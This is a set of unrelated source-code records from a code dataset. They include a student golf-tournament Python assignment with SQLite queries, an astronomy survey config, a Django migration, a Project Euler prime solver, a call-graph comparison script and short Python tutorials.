golfer names\n for that tournament\n Outer Loop\n a. Create an inner loop to traverse the\n golfer_name_list, where the loop variable\n 'golfer_name' will contain one of the golfer names\n for the tournament\n Inner loop\n 1. get golfer_id from (golfer_name_to_id) lookup map\n 2. Create a TournGolfer object call it tourn_golfer,\n passing in tourn_golfer_id, tourn_id (from the dict key), and\n golfer_id\n 3. Append the TournGolfer object to the\n tourn_golfers_list\n 4. Increment the tourn_golfer_id\n\n 4. Print the tourn_golfers_list objects to the console\n 5. Return the tourn_golfers_list\n \"\"\"\n\n print(\"\\nThe TournGolfer Object List: tourn_golfers_list\")\n\n ### create_tourn_golfers function; author: Michele Johnson\n\n tourn_golfers_list = []\n tourn_golfer_id = 0\n\n golfer_name_to_id = dict()\n\n for course in golfer_list:\n golfer_name_to_id[course.get_golfer_name()] = course.get_golfer_id()\n\n for tourn_id, row_golfer_list in tourn_golfers_dict.items():\n\n for golfer_list_data in row_golfer_list:\n golfer_list_id = golfer_name_to_id[golfer_list_data]\n tourn_golfer_id += 1\n a_tournament_golfer = TournGolfer(tourn_golfer_id, tourn_id, golfer_list_id)\n tourn_golfers_list.append(a_tournament_golfer)\n\n for g in tourn_golfers_list:\n print(g)\n\n return tourn_golfers_list\n \"\"\"\n Use the tourn_golfers_dict, that was\n returned from the create_tournaments function, which contains\n entries with the key being the tourn_id, and the value is a list following format:\n of golfer_names\n\n Use the golfers_list object list parameter, that was\n returned from the create_golfers function, which\n contains 30 Golfer objects with the following instance\n variables:\n\n golfer_id, golfer_name, golfer_birthdate\n\n Create a TournGolfer object from every golfer_name listed\n in the tourn_golfers_dict.\n Add in the following as instance variables values -\n\n tourn_golfer_id, tourn_id, golfer_id\n\n A list is returned, where each element is a TournGolfer object\n\n Algorithm:\n 1. Create a lookup map (golfer_name_to_id) for golfer_name to golfer_id\n 2. Create an empty list called tourn_golfers_list\n that will be filled in with TournGolfer objects\n whose data comes from the nested list parameter,\n tournaments_list and object list parameter,\n golfers_list\n 3. Initialize the tourn_golfer_id\n 4. Create an outer loop to to traverse the input\n tourn_golfers_dict, where the key will contain the tournament id,\n and the value, 'golfer_name_list', will be the list of golfer names\n for that tournament\n Outer Loop\n a. Create an inner loop to traverse the\n golfer_name_list, where the loop variable\n 'golfer_name' will contain one of the golfer names\n for the tournament\n Inner loop\n 1. get golfer_id from (golfer_name_to_id) lookup map\n 2. Create a TournGolfer object call it tourn_golfer,\n passing in tourn_golfer_id, tourn_id (from the dict key), and\n golfer_id\n 3. Append the TournGolfer object to the\n tourn_golfers_list\n 4. Increment the tourn_golfer_id\n\n 4. Print the tourn_golfers_list objects to the console\n 5. Return the tourn_golfers_list\n \"\"\"\n\n print(\"\\nThe TournGolfer object list\\n\")\n \n ### Please provide your code here from Project 1-B \n\n return tourn_golfers_list\n\n \ndef create_golfer_scores(filename, golfer_list, tournament_list,\n rounds_list, tourn_golfers_list):\n \"\"\"\n Create GolferRoundScores objects from data in the input file,\n and using previously created object lists to convert names to ids.\n\n Each line of input contains:\n golfer_name, tourn_name, day, score_h1, score_h2, ..., score_h18\n\n where golfer_name is the name of the golfer,\n tourn_name is the name of the tournament,\n day is the round day,\n and each score_h# is the golfer's score for that hole\n\n Note: string input needs to be stripped of any whitespace\n int strings need to be changed to ints\n\n Use the golfers_list parameter, that was\n returned from the create_golfers function, with the\n following instance variables:\n\n golfer_id, golfer_name, golfer_birthdate\n\n Use the tourns_list parameter, that was\n returned from the create_tournaments function, with the\n following instance variables:\n\n tourn_id, tournament_name, golf_course_id, start_date,\n num_rounds, and num_golfers\n\n Use the rounds_list object list parameter, that was\n returned from the create_rounds function, with the\n following instance variables:\n\n round_id, tourn_id, day\n\n Use the tourn_golfers_list parameter, that was\n returned from the create_tourn_golfers function, with the\n following instance variables:\n\n tourn_golfers_id, tourn_id, golfer_id\n\n Create a GolferRoundScores object from every entry in the\n golfer_scores_list: Add in the following as instance\n variables values:\n\n golfer_scores_id, tourn_golfer_id, round_id, total_round_score,\n and a list of scores (score_h1, score_h2, ..., score_h18)\n\n A list is returned, where each element is a GolferRoundScore object\n\n Algorithm:\n 1. Create lookup maps ...\n a. Create a lookup map (golfer_name_to_id)\n for mapping golfer_name to golfer_id\n b. Create a lookup map (tourn_name_to_id)\n for mapping tourn_name to tourn_id\n\n 2. Create an empty list called 'round_scores_list'\n that will be filled in with GolferRoundScore\n objects whose data comes from the input file\n and each of the object list parameters: golfers_list,\n tourns_list, rounds_list, tourn_golfers_list\n\n 3. Initialize the golfer_scores_id\n\n 4. Use a try/except block to capture a File Not Found Error\n a. Open the input file object for reading the input file\n b. Call the csv.reader function, passing in the input file\n and capturing the CSV file contents.\n c. Create a list from the file contents: 'golfer_scores_list'\n d. Close input_file object\n\n 5. Create an outer loop to read each set of scores in 'golfer_scores_list'\n Outer Loop:\n a. Get the golfer_name, tourn_name, and day from the\n the first three elements, stripping whitespace.\n b. The rest of the elements (using slice scores[3:])\n are converted to a list of ints - scores_list.\n Use Python's 'map' function to convert the strings to ints\n and then use the 'list' function to convert the object returned\n from the map to a list.\n c. Get the golfer_id using the golfer_name_to_id (from step 3a)\n d. Get the tourn_id using the tourn_name_to_id (from step 3b)\n e. Call helper functions to get round_id, and the tourn_golfer_id\n f. Set the total_round score by summing the scores_list\n g. Create a new GolferRoundScores object, call it golfer_scores,\n passing in golfer_scores_id, tourn_golfer_id, round_id,\n total_round_score, and the scores list (from step 5b.)\n h. Append the GolferRoundScores object to the round_scores_list\n i. Increment the golfer_scores_id\n 6. Print the round_scores_list objects to the console\n 7. Return the round_scores_list\n \"\"\"\n\n print(\"\\nThe GolferRoundScores Object List: round_scores_list\")\n\n ### create_golfer_scores; author: Michele Johnson ###\n\n golfer_name_to_id = dict()\n tourn_name_to_id = dict()\n round_scores_list = []\n golfer_scores_list = []\n golfer_id = 0\n golfer_name = \"\"\n tourn_id = 0\n tourn_name = \"\"\n golfer_scores_id = 0\n total_round_score = 0\n\n for golfer in golfer_list:\n golfer_name_to_id[golfer.get_golfer_name()] = golfer.get_golfer_id()\n for tourn in tournament_list:\n tourn_name_to_id[tourn.get_tourn_name()] = tourn.get_tourn_id()\n\n try:\n # import input file\n import csv\n with open(filename, newline='') as csvfile:\n a_file = csv.reader(csvfile, delimiter=',', quotechar='|')\n # loop through each row of input\n for row in a_file:\n # for current row, increment golfer score ID\n golfer_scores_id += 1\n\n # for current row, capture and strip golfer name\n # c. Get the golfer_id using the golfer_name_to_id (from step 3a)\n golfer_scores_name = row[0].strip()\n # map name to ID\n golfer_scores_golfer_id = golfer_name_to_id[golfer_scores_name]\n\n # for current row, capture and strip tournament name\n # d. Get the tourn_id using the tourn_name_to_id (from step 3b)\n golfer_scores_tourn_name = row[1].strip()\n # map name to ID\n golfer_scores_tourn_id = tourn_name_to_id[golfer_scores_tourn_name]\n\n # for current row, capture and strip tournament day of the week\n golfer_scores_tourn_weekday = row[2].strip()\n\n # for current row, capture and strip tournament score\n raw_scores = row[3:]\n scores_list = list(map(int, raw_scores))\n\n # e. Call helper functions to get round_id, and the tourn_golfer_id\n golfer_scores_round_id = get_round_id(rounds_list, golfer_scores_tourn_id, golfer_scores_tourn_weekday)\n\n golfer_scores_tourn_golfer_id = get_tourn_golfer_id(tourn_golfers_list, golfer_scores_tourn_id,\n golfer_scores_golfer_id)\n\n # f. Set the total_round score by summing the scores_list\n total_round_score = sum(scores_list)\n\n # initialize class: Golfer Score\n # g. Create a new GolferRoundScores object, call it golfer_scores,\n # passing in golfer_scores_id, tourn_golfer_id, round_id,\n # total_round_score, and the scores list (from step 5b.)\n a_golfer_scores = GolferRoundScores(golfer_scores_id, golfer_scores_tourn_golfer_id,\n golfer_scores_round_id,\n total_round_score, scores_list)\n\n # h. Append the GolferRoundScores object to the round_scores_list\n round_scores_list.append(a_golfer_scores)\n\n except IOError:\n print(\"File Not Found Error.\")\n\n for rsl in round_scores_list:\n print(rsl)\n\n return round_scores_list\n \"\"\"\n Create GolferRoundScores objects from data in the input file,\n and using previously created object lists to convert names to ids.\n\n Each line of input contains:\n golfer_name, tourn_name, day, score_h1, score_h2, ..., score_h18\n\n where golfer_name is the name of the golfer,\n tourn_name is the name of the tournament,\n day is the round day,\n and each score_h# is the golfer's score for that hole\n\n Note: string input needs to be stripped of any whitespace\n int strings need to be changed to ints\n\n Use the golfers_list parameter, that was\n returned from the create_golfers function, with the\n following instance variables:\n\n golfer_id, golfer_name, golfer_birthdate\n\n Use the tourns_list parameter, that was\n returned from the create_tournaments function, with the\n following instance variables:\n\n tourn_id, tournament_name, golf_course_id, start_date,\n num_rounds, and num_golfers\n\n Use the rounds_list object list parameter, that was\n returned from the create_rounds function, with the\n following instance variables:\n\n round_id, tourn_id, day\n\n Use the tourn_golfers_list parameter, that was\n returned from the create_tourn_golfers function, with the\n following instance variables:\n\n tourn_golfers_id, tourn_id, golfer_id\n\n Create a GolferRoundScores object from every entry in the\n golfer_scores_list: Add in the following as instance\n variables values:\n\n golfer_scores_id, tourn_golfer_id, round_id, total_round_score,\n and a list of scores (score_h1, score_h2, ..., score_h18)\n\n A list is returned, where each element is a GolferRoundScore object\n\n Algorithm:\n 1. Create lookup maps ...\n a. Create a lookup map (golfer_name_to_id)\n for mapping golfer_name to golfer_id\n b. Create a lookup map (tourn_name_to_id)\n for mapping tourn_name to tourn_id\n\n 2. Create an empty list called 'round_scores_list'\n that will be filled in with GolferRoundScore\n objects whose data comes from the input file\n and each of the object list parameters: golfers_list,\n tourns_list, rounds_list, tourn_golfers_list\n\n 3. Initialize the golfer_scores_id\n\n 4. Use a try/except block to capture a File Not Found Error\n a. Open the input file object for reading the input file\n b. Call the csv.reader function, passing in the input file\n and capturing the CSV file contents.\n c. Create a list from the file contents: 'golfer_scores_list'\n d. Close input_file object\n\n 5. Create an outer loop to read each set of scores in 'golfer_scores_list'\n Outer Loop:\n a. Get the golfer_name, tourn_name, and day from the\n the first three elements, stripping whitespace.\n b. The rest of the elements (using slice scores[3:])\n are converted to a list of ints - scores_list.\n Use Python's 'map' function to convert the strings to ints \n and then use the 'list' function to convert the object returned\n from the map to a list.\n c. Get the golfer_id using the golfer_name_to_id (from step 3a)\n d. Get the tourn_id using the tourn_name_to_id (from step 3b)\n e. Call helper functions to get round_id, and the tourn_golfer_id\n f. Set the total_round score by summing the scores_list\n g. Create a new GolferRoundScores object, call it golfer_scores,\n passing in golfer_scores_id, tourn_golfer_id, round_id,\n total_round_score, and the scores list (from step 5b.)\n h. Append the GolferRoundScores object to the round_scores_list\n i. Increment the golfer_scores_id\n 6. Print the round_scores_list objects to the console\n 7. Return the round_scores_list\n \"\"\"\n\n print(\"\\nThe GolferRoundScores object list\\n\")\n\n ### Please provide your code here from Project 1-C \n\n return round_scores_list\n\n\ndef get_tourn_golfer_id(tourn_golfers_list, tourn_id, golfer_id):\n \"\"\"\n Helper function to get the tourn_golfer_id\n based on the specified tourn_id and golfer_id\n \"\"\"\n for tourn_golfer in tourn_golfers_list:\n # Loop looking for the TournGolfer object,\n # tourn_golfer, whose golfer_id instance\n # variable value matches the specified golfer_id\n # and whose tourn_id instance variable value\n # matches the specified tourn_id\n\n if tourn_golfer.get_golfer_id() == golfer_id:\n if tourn_golfer.get_tourn_id() == tourn_id:\n # a. When the matching TournGolfer object\n # is found, return the tourn_golfer_id from\n # the TournGolfer object, tourn_golfer\n\n return tourn_golfer.get_tourn_golfer_id()\n\n # tg not found - just return 0\n return 0\n \"\"\"\n Helper function to get the tourn_golfer_id\n based on the specified tourn_id and golfer_id\n \"\"\"\n\n for tourn_golfer in tourn_golfers_list:\n # Loop looking for the TournGolfer object,\n # tourn_golfer, whose golfer_id instance\n # variable value matches the specified golfer_id\n # and whose tourn_id instance variable value\n # matches the specified tourn_id\n\n if tourn_golfer.get_golfer_id() == golfer_id:\n if tourn_golfer.get_tourn_id() == tourn_id:\n # a. When the matching TournGolfer object\n # is found, return the tourn_golfer_id from\n # the TournGolfer object, tourn_golfer\n\n return tourn_golfer.get_tourn_golfer_id()\n\n # tg not found - just return 0\n return 0\n\n\ndef get_round_id(rounds_list, tourn_id, tourn_day):\n \"\"\"\n Helper function to get the round_id\n based on the specified tourn_id and tourn_day\n \"\"\"\n\n ### get_round_id function; author: Michele Johnson ###\n\n for round in rounds_list:\n # Loop looking for the Round object whose\n # tourn_id instance variable value matches\n # the specified tourn_id and whose\n # day instance variable value matches the specified day\n # When the matching Round object is found,\n # return the round_id from the round object\n\n if round.get_tourn_id() == tourn_id:\n if round.get_day_of_week() == tourn_day:\n # a. When the matching TournGolfer object\n # is found, return the round_id from\n # the TournGolfer object, round\n\n return round.get_round_id()\n\n # tg not found - just return 0\n return 0\n \"\"\"\n Helper function to get the round_id\n based on the specified tourn_id and tourn_day\n \n Loop looking for the Round object whose \n tourn_id instance variable value matches \n the specified tourn_id and whose \n day instance variable value matches the specified day\n When the matching Round object is found, \n return the round_id from the round object\n\n \"\"\"\n ### Please provide your code here from Project 1-C \n\n\ndef write_objs_to_file(filename, object_list):\n \"\"\"\n This function takes a nested_list as input and writes it\n out to a csv file, where each line is a inner list\n\n Algorithm:\n 1. Open the output file object for writing\n 2. Create a loop to traverse the object_list parameter,\n where the loop variable is each object in the list:\n Loop:\n a. Set a str_obj string variable to the result of\n converting 'object' to a string using the\n __str__ method of the output file. This can be\n accomplished by passing the object into the\n str() function.\n b. Add a new line character to the end of the\n str_obj string\n c. Use the write method of the output file object to\n write the str_obj string to the output file,\n 3. Close the output file\n \"\"\"\n # 1. Open the output file object for writing\n\n output_file = open(filename, 'w')\n\n # 2. Create a loop to traverse the object_list parameter,\n # where the loop variable is each object in the list:\n\n for obj in object_list:\n # Loop:\n # a. Set a str_obj string variable to the result of\n # converting 'object' to a string using the\n # __str__ method of the output file. This can be\n # accomplished by passing the object into the\n # str() function.\n\n str_obj = str(obj)\n\n # b. Add a new line character to the end of the\n # str_obj string\n\n str_obj += '\\n'\n\n # c. Use the write method of the output file object\n # to write the str_obj string to the output file,\n\n output_file.write(str_obj)\n\n # 3. Close the output file\n\n output_file.close()\n\n\ndef show_golf_course_last3_holes(database_name):\n \"\"\"\n Show a list of golf course names with the total par\n and the hole number and par for the last 3 holes\n \"\"\"\n\n print (\"\\nLast 3 holes, of each golf course\\n\")\n\n # Get a cursor for the connection\n\n dbhelper = GolfTourDatabaseHelper(database_name)\n database_connection = dbhelper.get_connection(database_name)\n c = database_connection.cursor()\n\n # Create SQL query\n\n sql = '''\n select course_name, course_total_par,\n hole_number, hole_par\n from GolfCourse join Hole\n on course_id = hole_course_id\n where hole_number > 15\n '''\n\n # Execute query and display results\n for row in c.execute(sql):\n print (row)\n print()\n \n # CLose the cursor and the database connection\n c.close()\n database_connection.close()\n\n\ndef show_tourn_scores_top5_Apex3(database_name):\n \"\"\"\n Show the total tournament scores for the top\n five golfers, who played the 'Apex 3' tournament\n \"\"\"\n\n print (\"\\nTotal Scores For Top 5 Golfers in Apex 3 Tournament\\n\")\n\n # Get a cursor for the connection\n\n dbhelper = GolfTourDatabaseHelper (database_name)\n database_connection = dbhelper.get_connection (database_name)\n c = database_connection.cursor()\n\n # Create SQL query\n\n sql = '''\n select golfer_name, tourn_name, sum (grs_total_score) as total\n from GolferRoundScores\n join TournGolfer on\n grs_tourn_golfer_id = tg_id\n join Golfer on\n tg_golfer_id = golfer_id\n join Tournament on\n tg_tourn_id = tourn_id\n where tourn_name = 'Apex 3'\n group by grs_tourn_golfer_id\n order by tourn_name, total\n limit 5\n '''\n\n # Execute query and display results\n for row in c.execute(sql):\n print (row)\n print()\n \n # CLose the cursor and the database connection\n c.close()\n database_connection.close()\n\n\ndef show_golf_course_par5_holes (database_name):\n \"\"\"\n Show a list of golf course names with the total par\n and the hole number and par for each hole where the\n par is equal to 5: Use the WHERE clause: WHERE hole_par = 5\n \"\"\"\n \n print (\"\\nShow the Par 5 Hole Numbers For Each Golf Course\\n\")\n \n\n # Get a cursor for the connection\n\n dbhelper = GolfTourDatabaseHelper (database_name)\n database_connection = dbhelper.get_connection (database_name)\n c = database_connection.cursor()\n\n # Create SQL query\n\n sql = '''\n select course_name, course_total_par as total,\n hole_number, hole_par\n from GolfCourse\n join Hole on\n course_id = hole_course_id\n where hole_par = 5\n '''\n\n\n # Execute query and display results\n for row in c.execute(sql):\n print (row)\n print()\n\n\ndef show_tournaments_for_golfer_Jo (database_name):\n \"\"\"\n Show a list of tournaments and golfer names played by golfers\n whose name begins with Jo: Use the WHERE clause:\n WHERE golfer_name LIKE 'Jo%'\n \"\"\"\n\n print (\"\\nTournaments Played by Golfer's Whose Name Begins With Jo\\n\")\n \n # Get a cursor for the connection\n\n dbhelper = GolfTourDatabaseHelper (database_name)\n database_connection = dbhelper.get_connection (database_name)\n c = database_connection.cursor()\n\n # Create SQL query\n\n sql = '''\n select golfer_name, tourn_name \n from Tournament\n join TournGolfer on\n tourn_course_id = tg_tourn_id\n join Golfer on\n tg_golfer_id = golfer_id\n where golfer_name like 'Jo%'\n '''\n\n # Execute query and display results\n for row in c.execute(sql):\n print (row)\n print()\n\n # CLose the cursor and the database connection\n c.close()\n database_connection.close()\n\n\nmain()\n","sub_path":"WakeGolfTourM/golf_tour.py","file_name":"golf_tour.py","file_ext":"py","file_size_in_byte":60274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"536918615","text":"import numpy as np\nfrom lsst.sims.maf.driver.mafConfig import configureSlicer, configureMetric, makeDict\n\n\nroot.outputDir = './ChipGap'\nroot.dbAddress = {'dbAddress':'sqlite:///ops1_1140_sqlite.db'}\nroot.opsimName = 'ops1_1140'\n#root.dbAddress = {'dbAddress':'sqlite:///opsimblitz1_1133_sqlite.db'}\n#root.opsimName = 'opsimblitz1_1133'\n\nroot.verbose = True\n\nslicerList=[]\nconstraints = ['filter=\"r\"']\n#constraints = ['filter=\"r\" and night < 100']\n# How many Healpix sides to use\nnside=128\n\nm1 = configureMetric('CountMetric', kwargs={'col':'expMJD'},\n plotDict={'percentileClip':80., 'units':'#'},\n summaryStats={'MeanMetric':{},'RmsMetric':{}, 'SumMetric':{}, 'MedianMetric':{}})\nm2 = configureMetric('Coaddm5Metric',\n plotDict={'zp':27., 'percentileClip':95, 'units':'Co-add m5 - %.1f'%27.},\n summaryStats={'MeanMetric':{},'RmsMetric':{}, 'MedianMetric':{}})\n# Combine metrics in a dictionary\nmetricDict = makeDict(m1,m2)\n# Generate the slicer configuration, passing in the metric configurations and SQL constraints\nslicer = configureSlicer('HealpixSlicer',\n kwargs={\"nside\":nside,'spatialkey1':\"fieldRA\", 'spatialkey2':\"fieldDec\"},\n metricDict=metricDict, constraints=constraints)\n# Add the slicer to the list of slicers\nslicerList.append(slicer)\n\n# Turn in the camera to calc chip gaps. Increase the radius to get the chips that poke out at the corners.\nslicer = configureSlicer('HealpixSlicer',\n kwargs={\"nside\":nside,'spatialkey1':\"fieldRA\", 'spatialkey2':\"fieldDec\",\n 'useCamera':True, 'verbose':True, 'radius':2.041},\n metricDict=metricDict, constraints=constraints, metadata='chipGaps')\n# Add the slicer to the list of slicers\nslicerList.append(slicer)\n\n\n\n# Now to try it out with the dithered pointings:\nslicer = configureSlicer('HealpixSlicer',\n kwargs={\"nside\":nside,'spatialkey1':\"ditheredRA\", 'spatialkey2':\"ditheredDec\"},\n metricDict=metricDict, constraints=constraints, metadata='Dithered')\nslicerList.append(slicer)\n\nslicer = configureSlicer('HealpixSlicer',\n kwargs={\"nside\":nside,'spatialkey1':\"ditheredRA\", 'spatialkey2':\"ditheredDec\",\n 'useCamera':True, 'radius':2.041},\n metricDict=metricDict, constraints=constraints, metadata='Dithered and chipGaps')\nslicerList.append(slicer)\n\n\n\nroot.slicers=makeDict(*slicerList)\n","sub_path":"examples/driverConfigs/chipGapCfg.py","file_name":"chipGapCfg.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"153699960","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('catalogue', '0002_product_image_pic'),\n ]\n\n operations = [\n migrations.RemoveField(\n model_name='product',\n name='image',\n ),\n migrations.AlterField(\n model_name='product',\n name='image_pic',\n field=models.ImageField(null=True, upload_to=b'C:\\\\Users\\\\arturbook\\\\PycharmProjects\\\\Healthshop\\\\files\\\\media\\\\images'),\n ),\n ]\n","sub_path":"catalogue/migrations/0003_auto_20160414_2254.py","file_name":"0003_auto_20160414_2254.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"314323239","text":"import Helper\nimport sys\n\nclass Problem:\n bigPrimes = {}\n def nextPrime(self, prime):\n for newPrime in self.sequenceOfPrimes:\n if newPrime > prime:\n return newPrime\n print(\"RAN OUT OF PRIMES!\")\n\n def isPrime(self, n):\n if n < self.maxPrime:\n return n in self.primes\n if not n in self.bigPrimes:\n self.bigPrimes[n] = Helper.isPrime(n)\n return self.bigPrimes[n] \n \n def isPrimePair(self, left, right):\n comb1 = int(str(left) + str(right))\n comb2 = int(str(right) + str(left))\n return self.isPrime(comb1) and self.isPrime(comb2)\n\n def calculateGoodPrimePairs(self):\n maxLeftPrime = 9999\n maxRightPrime = 9999\n index = 0\n primePairs = []\n leftPrime = 3\n while leftPrime < maxLeftPrime:\n if leftPrime % 1000 == 0:\n print(\"Found good pairs up to left prime: \" + str(leftPrime))\n print(\"So far we've checked \" + str(len(self.bigPrimes)) + \" overflowing numbers for primality\")\n rightPrime = self.nextPrime(leftPrime)\n while rightPrime < maxRightPrime:\n if self.isPrimePair(leftPrime, rightPrime):\n primePairs.append([leftPrime, rightPrime])\n rightPrime = self.nextPrime(rightPrime)\n leftPrime = self.nextPrime(leftPrime)\n return primePairs\n\n def expandSets(self, primeSets, primePairs):\n expandedPrimeSets = []\n for primeSet in primeSets:\n for primePair in primePairs:\n if primeSet[-1] == primePair[0]:\n validExpansion = True\n for prime in primeSet[:-1]:\n if not self.isPrimePair(prime, primePair[1]):\n validExpansion = False\n continue\n if validExpansion:\n expandedPrimeSets.append(primeSet + [primePair[1]])\n return expandedPrimeSets\n\n def run(self):\n # Get a sequence of primes and a map for easy prime checking\n print(\"####\")\n self.primes, self.maxPrime = Helper.getPrimeSetLessThan(100000000)\n print(\"####\")\n print(str(len(self.primes)))\n print(str(self.maxPrime))\n self.sequenceOfPrimes = [prime for prime in self.primes]\n self.sequenceOfPrimes.sort()\n \n print(\"####\")\n primePairs = self.calculateGoodPrimePairs()\n print(\"calculated pairs...\")\n primeTriplets = self.expandSets(primePairs, primePairs)\n print(\"calculated triplets...\")\n primeQuadruplets = self.expandSets(primeTriplets, primePairs)\n print(\"calculated quadruplets...\")\n primeFives = self.expandSets(primeQuadruplets, primePairs)\n print(\"calculated fives...\")\n print(\"####\")\n print(primeFives)\n\n\nif __name__ == '__main__':\n solver = Problem()\n solver.run()\n","sub_path":"src/solution/Problem60.py","file_name":"Problem60.py","file_ext":"py","file_size_in_byte":2969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"260432939","text":"#encoding:utf-8\nimport json,os\nfrom collections import defaultdict\n\nimport networkx as nx\n\ndef compare(json_1,json_2,pro_name):\n cross_overlap = 0\n within_overlap = 0\n alllap = 0\n prelap = 0\n # \n FP_json = defaultdict(list)\n PF_json = defaultdict(list)\n notcover_json = defaultdict(list)\n end = 0\n\n for_scratch = defaultdict(list)\n for k,v in json_1.items():\n # if k.startswith(pro_name):\n # interset_cg = [] \n # #because there will be cross-project import and in dynamic and static callgraphs\n # there are some difference \n \n temp1 = 0\n if json_2.get(k,None): \n end += 1 \n for it1 in v:\n for item in ('lambda', 'listcomp', 'setcomp', 'dictcomp', 'genexpr'):\n if it1.find(item) != -1:\n #判断它是不是模块,因为名称不一致的问题\n \n # root = \"E:\\\\googledownload\\\\testpro\\\\sklearn\\\\\"\n # temp = root + it1[0:it1.find(item)-1].replace('.','\\\\')\n # while(True):\n # if os.path.isdir(temp):\n # temp = temp +'.<'+item+'>'\n # break\n # elif os.path.isfile(temp+'.py'):\n # temp = temp +'.<'+item+'>'\n # break\n # else:\n # temp = temp[0:it1.find(\"//\")]\n # it1 = temp.strip(root).replace('\\\\','.')\n it1 = it1[0:it1.find(item)-1] + '.<'+item+'>'\n # print(it1)\n for it2 in json_2.get(k,[]):\n if it2.startswith(pro_name): #这里的问题是因为相对路径不好解析,应该还是用模块的方式来解决\n if it2.endswith(it1):\n within_overlap += 1\n temp1 += 1\n break\n else:\n if it1.split('.')[0] == it2.split('.')[0] and it1.split('.')[-1] == it2.split('.')[-1]:\n cross_overlap += 1\n temp1 += 1\n break\n # if '^^^argument^^^' not in it1:\n \n # for_scratch[k].append(v)\n # for_scratch[k].append(json_2.get(k,[])) \n # 如果两者都有的节点\n alllap += len(v) \n prelap += len(json_2.get(k,[]))\n \n # if (abs(len(json_2.get(k,[]))-temp1) > 10):\n # print(k,temp1,len(v),len(json_2.get(k,[])))\n # # for_scratch[k].append(v)\n # for_scratch[k].append(json_2.get(k,[])) \n\n # with open('PF.json','w') as f:\n # f.write(json.dumps(for_scratch,indent=4))\n\n print(end,within_overlap,cross_overlap,alllap,prelap,(within_overlap+cross_overlap)/alllap,(within_overlap+cross_overlap)/prelap)\ndef getedge(dic1):\n edge = 0\n for k,v in dic1.items():\n \n edge += len(v)\n return edge\ndef get_end(dic):\n G = nx.DiGraph()\n for k,v in dic.items():\n for item in v:\n if '^^^argument^^^' not in item:\n edge_ = (k,item)\n G.add_edge(*edge_)\n\n print(G.number_of_nodes(),G.number_of_edges())\n end_pyan = defaultdict(list)\n for node1 in G.nodes:\n for node2 in G.nodes:\n if node1 != node2:\n if nx.has_path(G,node1,node2):\n end_pyan[node1].append(node2)\n with open('end.json','w') as f:\n f.write(json.dumps(end_pyan,indent=4))\n\ndef main():\n with open(\"..\\\\all_cg\\\\sklearn_code2flow.json\",'r') as f ,open(\"..\\\\all_cg\\\\callgraph.json\",'r')as f2,open(\"..\\\\all_cg\\\\sklearn_pycallgraph.json\",'r') as f3:\n f_str = f.read()\n f2_str = f2.read()\n f3_str = f3.read()\n sklearn_code2flow_2 = json.loads(f_str)\n sklearn_pyan = json.loads(f2_str)\n sklearn_pycallgraph = json.loads(f3_str)\n pro_name = 'sklearn'\n pycg = defaultdict(list)\n #获取深度遍历之后的结果\n # get_end(sklearn_code2flow_2)\n \n for item in sklearn_pycallgraph.keys():\n if item.startswith(pro_name) and '.<' not in item and 'tests' not in item.split('.') and 'testing' not in item.split('.'):\n pycg[item] = sklearn_pycallgraph[item]\n \n \n print(len(sklearn_code2flow_2.keys()),len(sklearn_pyan.keys()),len(pycg.keys()))\n # for item in set(pycg)-set(sklearn_pyan):\n # print(item)\n print(len(set(sklearn_code2flow_2) & set(sklearn_pyan)),len(set(sklearn_code2flow_2) & set(pycg)),len(set(sklearn_pyan) & set(pycg)))\n \n print(getedge(sklearn_code2flow_2),getedge(sklearn_pyan),getedge(pycg))\n compare(sklearn_code2flow_2,sklearn_pyan,pro_name)\n compare(sklearn_code2flow_2,pycg,pro_name)\n compare(sklearn_pyan,pycg,pro_name)\nif __name__ == \"__main__\":\n print('--------------')\n if '.<' in 'sklearn.externals.six':\n print('wrong')\n main()","sub_path":"dependency_graph/compare_graph.py","file_name":"compare_graph.py","file_ext":"py","file_size_in_byte":5419,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"327208118","text":"#列表可以存储任意数据类型,但是一般情况下,我们都存储单一的数据\n#列表只能存储值,但是无法对值进行描述\nnames = ['zhangsan','lisi','wangwu']\nscores = [100,98,99,97]\n\n#字典不仅可以保存值,还可以对值进行描述\n# 使用大括号来表示一个字典,不仅有值value ,还有值的描述key\n#字典里面的数据都是以键值对key-value的形式保存的\n#key和value之间使用冒号,来链接\n#多个键值对之间使用逗号分割,\n\nperson = {'name':'zhangsan',\n 'age':18,\n 'math':98,\n 'Chines':97,\n 'English':96,\n 'gym':93,\n 'height':180\n }\n\n","sub_path":"07.元组字典的使用/02.字典的使用.py","file_name":"02.字典的使用.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"104077573","text":"from . import db\nfrom .models import House\n\ndef push(db):\n import pandas as pd\n data = pd.read_csv(\"../data/addr_lat_lng.csv\")\n\n houses = data.to_dict('records')\n records = []\n for h in houses:\n print(h)\n x = House(h['street'], h['city'], h['state'], h['zipcode'], h['license'], h['expiration'], h['longitude'], h['latitude'])\n records.append(x)\n\n try:\n # numRowsDeleted = db.session.query(House).delete()\n # print(numRowsDeleted)\n db.session.bulk_save_objects(records)\n except:\n db.session.rollback()\n raise\n else:\n print(House.query.all())\n db.session.commit()\n\n# push(db)\n\n# if __name__ == '__main__':\n# push(db)","sub_path":"backend/api/push_data.py","file_name":"push_data.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"287427967","text":"#Leon Oram\r\n#06-10-2014\r\n#String Task 1\r\n\r\nstring = input(\"Please enter your quote: \")\r\n\r\nupper = string.upper()\r\nlower = string.lower()\r\ncaps = string.capitalize()\r\ntitle = string.title()\r\n\r\nprint(\"{0}: {1}: {2}: {3}\".format(upper,lower,caps,title))\r\n","sub_path":"String Task 1.py","file_name":"String Task 1.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} 